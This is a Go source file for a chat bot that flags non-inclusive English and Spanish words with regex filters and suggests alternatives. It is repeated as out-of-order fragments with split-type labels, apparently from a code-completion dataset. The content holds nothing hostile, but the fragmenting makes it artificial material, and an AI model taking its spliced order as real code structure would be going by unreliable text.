{Filter: "crazy", Reply: "Using the word *crazy* is considered by some to be insensitive to sufferers of mental illness, maybe you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "insane", Reply: "The word *insane* is considered by some to be insensitive to sufferers of mental illness. Perhaps you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "slave", Reply: `If you are referring to a data replication strategy, please consider a term such as ""follower"" or ""replica"". You can read more information about it at https://www.selfdefined.app/definitions/master-slave/`},
// Spanish: Based on https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf
{Filter: "discapacitad(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitado*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "discapacitad(a|o) fisic(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitada física*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "minusvalid(a|o)", Reply: "*Minusválido* es un término peyorativo y vulnera la dignidad de las personas con discapacidad, al atribuirse un nulo o reducido valor a una persona, o utilizarse generalmente con elevada carga negativa. Considera usar *persona con discapacidad*.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "diversidad funcional", Reply: "COCEMFE considera que el término *diversidad funcional* es un eufemismo, cargado de condescendencia que genera confusión, inseguridad jurídica y rebaja la protección que todavía es necesaria. El término *discapacidad* es el que aglutina derechos reconocidos legalmente y que cuenta con el mayor respaldo social. Considera usarlo.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "retrasad(a|o)", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
{Filter: "retraso mental", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
// Our own list
{Filter: "gentlem(a|e)n", Reply: "Instead of *gentlem(a|e)n*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "lad(y|ies)", Reply: "Instead of *lad(y|ies)*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "los chicos de", Reply: "En vez de *los chicos de*, quizá quisiste decir *el equipo de*, *los integrantes de*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "chicos", Reply: "En vez de *chicos*, quizá quisiste decir *chiques*, *colegas*, *grupo*, *personas*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "lgtb", Reply: "Desde hace un tiempo, el colectivo *LGTB+* recomienda añadir el carácter `+` a la palabra *LGTB*, pues existen orientaciones e identidades que, a pesar de no ser tan predominantes, representan a muchas personas. *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "locura", Reply: "La palabra *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "locuron", Reply: "La palabra *locurón* o *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "loc(a|o)", Reply: "La palabra *loco/loca* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "cakewalk", Reply: "Instead of *cakewalk*, perhaps you mean *easy*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathered in", Reply: "Instead of *grandfathered in*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathering", Reply: "Instead of *grandfathering*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "whitelist", Reply: "Instead of *whitelist*, perhaps you mean *allowlist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "blacklist", Reply: "Instead of *blacklist*, perhaps you mean *blocklist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
}
type FilteredText struct {
StopWord string
Reply string
}
func Filter(input string, extraFilters ...InclusiveFilter) *InclusiveFilter {
// Removing accents and others before matching
t := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC)
text, _, _ := transform.String(t, strings.ToLower(input))
filters := append(inclusiveFilters, extraFilters...)
for _, word := range filters {
if word.regex == nil {
// If it's just one wor | d, ensure its bounded as it should.
if !strings.Contains(word.Filter, " ") {
word.Filter = fmt.Sprintf("(?:^|\\W)%s(?:$|[^\\w+])", word.Filter)
}
word.regex, _ = regexp.Compile(word.Filter)
}
if word.regex.MatchString(text) {
word.Reply += conductLinks
return &word
}
}
return nil
}
| conditional_block | |
language.go | package inclusion
import (
"fmt"
"regexp"
"strings"
"unicode"
"golang.org/x/text/runes"
"golang.org/x/text/transform"
"golang.org/x/text/unicode/norm"
)
type InclusiveFilter struct {
Filter string // Supports regex
Reply string
regex *regexp.Regexp // do not fill. Just used for caching the regex once compiled.
}
var conductLinks = "\nIn case of doubts please check our <https://bcneng.org/coc|Code of Conduct> and/or our <https://bcneng.org/netiquette|Netiquette> "
var inclusiveFilters = []InclusiveFilter{
// When someone says, the bot replies (privately).
// English: Based on https://github.com/randsleadershipslack/documents-and-resources/blob/master/RandsInclusiveLanguage.tsv
{Filter: "you guys", Reply: "Instead of *guys*, perhaps you mean *pals*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "these guys", Reply: "Instead of *guys*, perhaps you mean *gang*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "my guys", Reply: "Instead of *guys*, perhaps you mean *crew*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "those guys", Reply: "Instead of *guys*, perhaps you mean *people*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hey guys", Reply: "Instead of *guys*, perhaps you mean *y'all*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hi guys", Reply: "Instead of *guys*, perhaps you mean *everyone*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "the guys", Reply: "Instead of *guys*, perhaps you mean *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "guys", Reply: "Instead of *guys*, have you considered a more gender-neutral pronoun like *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "CHWD", Reply: `Cisgender Hetero White Dude. But please consider using the full term "cisgender, heterosexual white man” or similar. That would both make it more approachable for those unfamiliar with this obscure initialism, and prevent reducing people down to initialisms.`},
{Filter: "URP", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URPs", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URM", Reply: `Underrepresented minorit(y|ies). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URG", Reply: `Underrepresented group(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "crazy", Reply: "Using the word *crazy* is considered by some to be insensitive to sufferers of mental illness, maybe you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "insane", Reply: "The word *insane* is considered by some to be insensitive to sufferers of mental illness. Perhaps you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "slave", Reply: `If you are referring to a data replication strategy, please consider a term such as ""follower"" or ""replica"". You can read more information about it at https://www.selfdefined.app/definitions/master-slave/`},
// Spanish: Based on https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf
{Filter: "discapacitad(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitado*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "discapacitad(a|o) fisic(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitada física*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "minusvalid(a|o)", Reply: "*Minusválido* es un término peyorativo y vulnera la dignidad de las personas con discapacidad, al atribuirse un nulo o reducido valor a una persona, o utilizarse generalmente con elevada carga negativa. Considera usar *persona con discapacidad*.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "diversidad funcional", Reply: "COCEMFE considera que el término *diversidad funcional* es un eufemismo, cargado de condescendencia que genera confusión, inseguridad jurídica y rebaja la protección que todavía es necesaria. El término *discapacidad* es el que aglutina derechos reconocidos legalmente y que cuenta con el mayor respaldo social. Considera usarlo.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "retrasad(a|o)", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
{Filter: "retraso mental", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
// Our own list
{Filter: "gentlem(a|e)n", Reply: "Instead of *gentlem(a|e)n*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "lad(y|ies)", Reply: "Instead of *lad(y|ies)*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "los chicos de", Reply: "En vez de *los chicos de*, quizá quisiste decir *el equipo de*, *los integrantes de*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "chicos", Reply: "En vez de *chicos*, quizá quisiste decir *chiques*, *colegas*, *grupo*, *personas*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "lgtb", Reply: "Desde hace un tiempo, el colectivo *LGTB+* recomienda añadir el carácter `+` a la palabra *LGTB*, pues existen orientaciones e identidades que, a pesar de no ser tan predominantes, representan a muchas personas. *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "locura", Reply: "La palabra *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "locuron", Reply: "La palabra *locurón* o *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "loc(a|o)", Reply: "La palabra *loco/loca* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "cakewalk", Reply: "Instead of *cakewalk*, perhaps you mean *easy*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathered in", Reply: "Instead of *grandfathered in*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathering", Reply: "Instead of *grandfathering*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "whitelist", Reply: "Instead of *whitelist*, perhaps you mean *allowlist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "blacklist", Reply: "Instead of *blacklist*, perhaps you mean *blocklist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
}
type FilteredText struct {
StopWord string
Reply string
}
func Filter(input string, extraFilters ...InclusiveFilter) *InclusiveFilter {
// Removing accents and others before matching
t | := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC)
text, _, _ := transform.String(t, strings.ToLower(input))
filters := append(inclusiveFilters, extraFilters...)
for _, word := range filters {
if word.regex == nil {
// If it's just one word, ensure its bounded as it should.
if !strings.Contains(word.Filter, " ") {
word.Filter = fmt.Sprintf("(?:^|\\W)%s(?:$|[^\\w+])", word.Filter)
}
word.regex, _ = regexp.Compile(word.Filter)
}
if word.regex.MatchString(text) {
word.Reply += conductLinks
return &word
}
}
return nil
}
| identifier_body | |
language.go | package inclusion | "unicode"
"golang.org/x/text/runes"
"golang.org/x/text/transform"
"golang.org/x/text/unicode/norm"
)
type InclusiveFilter struct {
Filter string // Supports regex
Reply string
regex *regexp.Regexp // do not fill. Just used for caching the regex once compiled.
}
var conductLinks = "\nIn case of doubts please check our <https://bcneng.org/coc|Code of Conduct> and/or our <https://bcneng.org/netiquette|Netiquette> "
var inclusiveFilters = []InclusiveFilter{
// When someone says, the bot replies (privately).
// English: Based on https://github.com/randsleadershipslack/documents-and-resources/blob/master/RandsInclusiveLanguage.tsv
{Filter: "you guys", Reply: "Instead of *guys*, perhaps you mean *pals*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "these guys", Reply: "Instead of *guys*, perhaps you mean *gang*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "my guys", Reply: "Instead of *guys*, perhaps you mean *crew*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "those guys", Reply: "Instead of *guys*, perhaps you mean *people*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hey guys", Reply: "Instead of *guys*, perhaps you mean *y'all*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hi guys", Reply: "Instead of *guys*, perhaps you mean *everyone*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "the guys", Reply: "Instead of *guys*, perhaps you mean *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "guys", Reply: "Instead of *guys*, have you considered a more gender-neutral pronoun like *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "CHWD", Reply: `Cisgender Hetero White Dude. But please consider using the full term "cisgender, heterosexual white man” or similar. That would both make it more approachable for those unfamiliar with this obscure initialism, and prevent reducing people down to initialisms.`},
{Filter: "URP", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URPs", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URM", Reply: `Underrepresented minorit(y|ies). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URG", Reply: `Underrepresented group(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "crazy", Reply: "Using the word *crazy* is considered by some to be insensitive to sufferers of mental illness, maybe you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "insane", Reply: "The word *insane* is considered by some to be insensitive to sufferers of mental illness. Perhaps you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "slave", Reply: `If you are referring to a data replication strategy, please consider a term such as ""follower"" or ""replica"". You can read more information about it at https://www.selfdefined.app/definitions/master-slave/`},
// Spanish: Based on https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf
{Filter: "discapacitad(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitado*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "discapacitad(a|o) fisic(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitada física*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "minusvalid(a|o)", Reply: "*Minusválido* es un término peyorativo y vulnera la dignidad de las personas con discapacidad, al atribuirse un nulo o reducido valor a una persona, o utilizarse generalmente con elevada carga negativa. Considera usar *persona con discapacidad*.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "diversidad funcional", Reply: "COCEMFE considera que el término *diversidad funcional* es un eufemismo, cargado de condescendencia que genera confusión, inseguridad jurídica y rebaja la protección que todavía es necesaria. El término *discapacidad* es el que aglutina derechos reconocidos legalmente y que cuenta con el mayor respaldo social. Considera usarlo.\nMás info en Más info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
{Filter: "retrasad(a|o)", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
{Filter: "retraso mental", Reply: "*Retrasado* y *Retraso mental* son términos despectivos eliminados del vocabulario psiquiátrico y, según la OMS, la forma correcta para referiste a ese grupo de enfermedades y transtornos es *Trastorno del desarrollo intelectual* "},
// Our own list
{Filter: "gentlem(a|e)n", Reply: "Instead of *gentlem(a|e)n*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "lad(y|ies)", Reply: "Instead of *lad(y|ies)*, perhaps you mean *folks*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "los chicos de", Reply: "En vez de *los chicos de*, quizá quisiste decir *el equipo de*, *los integrantes de*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "chicos", Reply: "En vez de *chicos*, quizá quisiste decir *chiques*, *colegas*, *grupo*, *personas*? Para más información (en inglés), puedes consultar https://www.dictionary.com/e/you-guys/... *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "lgtb", Reply: "Desde hace un tiempo, el colectivo *LGTB+* recomienda añadir el carácter `+` a la palabra *LGTB*, pues existen orientaciones e identidades que, a pesar de no ser tan predominantes, representan a muchas personas. *[Considera editar tu mensaje para que sea más inclusivo]*"},
{Filter: "locura", Reply: "La palabra *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "locuron", Reply: "La palabra *locurón* o *locura* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "loc(a|o)", Reply: "La palabra *loco/loca* es considerada por algunas personas como irrespetuosa hacia las personas que sufren alguna enfermedad mental.\nQuizá quisiste decir *indignante*, *impensable*, *absurdo*, *incomprensible*? Has considerado usar un adjetivo diferente como *ridículo*?"},
{Filter: "cakewalk", Reply: "Instead of *cakewalk*, perhaps you mean *easy*?... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathered in", Reply: "Instead of *grandfathered in*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "grandfathering", Reply: "Instead of *grandfathering*, perhaps you mean *exempting*? You can read more information in https://www.selfdefined.app/definitions/grandfathering/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "whitelist", Reply: "Instead of *whitelist*, perhaps you mean *allowlist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "blacklist", Reply: "Instead of *blacklist*, perhaps you mean *blocklist*? You can read more information in https://www.linkedin.com/pulse/allowlist-blocklist-better-terms-everyone-lets-use-them-rob-black/ ... *[Please consider editing your message so it's more inclusive]*"},
}
type FilteredText struct {
StopWord string
Reply string
}
func Filter(input string, extraFilters ...InclusiveFilter) *InclusiveFilter {
// Removing accents and others before matching
t := transform.Chain(norm.NFD, runes.Remove(runes.In(unicode.Mn)), norm.NFC)
text, _, _ := transform.String(t, strings.ToLower(input))
filters := append(inclusiveFilters, extraFilters...)
for _, word := range filters {
if word.regex == nil {
// If it's just one word, ensure its bounded as it should.
if !strings.Contains(word.Filter, " ") {
word.Filter = fmt.Sprintf("(?:^|\\W)%s(?:$|[^\\w+])", word.Filter)
}
word.regex, _ = regexp.Compile(word.Filter)
}
if word.regex.MatchString(text) {
word.Reply += conductLinks
return &word
}
}
return nil
} |
import (
"fmt"
"regexp"
"strings" | random_line_split |
language.go | package inclusion
import (
"fmt"
"regexp"
"strings"
"unicode"
"golang.org/x/text/runes"
"golang.org/x/text/transform"
"golang.org/x/text/unicode/norm"
)
type InclusiveFilter struct {
Filter string // Supports regex
Reply string
regex *regexp.Regexp // do not fill. Just used for caching the regex once compiled.
}
var conductLinks = "\nIn case of doubts please check our <https://bcneng.org/coc|Code of Conduct> and/or our <https://bcneng.org/netiquette|Netiquette> "
var inclusiveFilters = []InclusiveFilter{
// When someone says, the bot replies (privately).
// English: Based on https://github.com/randsleadershipslack/documents-and-resources/blob/master/RandsInclusiveLanguage.tsv
{Filter: "you guys", Reply: "Instead of *guys*, perhaps you mean *pals*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "these guys", Reply: "Instead of *guys*, perhaps you mean *gang*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "my guys", Reply: "Instead of *guys*, perhaps you mean *crew*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "those guys", Reply: "Instead of *guys*, perhaps you mean *people*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hey guys", Reply: "Instead of *guys*, perhaps you mean *y'all*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "hi guys", Reply: "Instead of *guys*, perhaps you mean *everyone*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "the guys", Reply: "Instead of *guys*, perhaps you mean *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "guys", Reply: "Instead of *guys*, have you considered a more gender-neutral pronoun like *folks*? You can read more information about it at https://www.dictionary.com/e/you-guys/... *[Please consider editing your message so it's more inclusive]*"},
{Filter: "CHWD", Reply: `Cisgender Hetero White Dude. But please consider using the full term "cisgender, heterosexual white man” or similar. That would both make it more approachable for those unfamiliar with this obscure initialism, and prevent reducing people down to initialisms.`},
{Filter: "URP", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URPs", Reply: `Underrepresented person(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URM", Reply: `Underrepresented minorit(y|ies). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "URG", Reply: `Underrepresented group(s). But please consider using the full term "members of traditionally underrepresented groups" or similar; people don't like to be made into acronyms, _especially_ when they are already marginalized. See: en.wikipedia.org/wiki/Underrepresented_group`},
{Filter: "crazy", Reply: "Using the word *crazy* is considered by some to be insensitive to sufferers of mental illness, maybe you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "insane", Reply: "The word *insane* is considered by some to be insensitive to sufferers of mental illness. Perhaps you mean *outrageous*, *unthinkable*, *nonsensical*, *incomprehensible*? Have you considered a different adjective like *ridiculous*? You can read more information about it at https://www.selfdefined.app/definitions/crazy/"},
{Filter: "slave", Reply: `If you are referring to a data replication strategy, please consider a term such as ""follower"" or ""replica"". You can read more information about it at https://www.selfdefined.app/definitions/master-slave/`},
// Spanish: Based on https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf
{Filter: "discapacitad(a|o)", Reply: "Ante todo somos personas, y no queremos que se nos etiquete, puesto que la discapacidad es una característica más de todas las que se tiene, no lo único por lo que se debe reconocer.\nPor eso es importante anteponer la palabra *persona* y lo más aconsejable es utilizar el término *persona con discapacidad* y no *discapacitado*.\nMás info en https://www.cocemfe.es/wp-content/uploads/2019/02/20181010_COCEMFE_Lenguaje_inclusivo.pdf"},
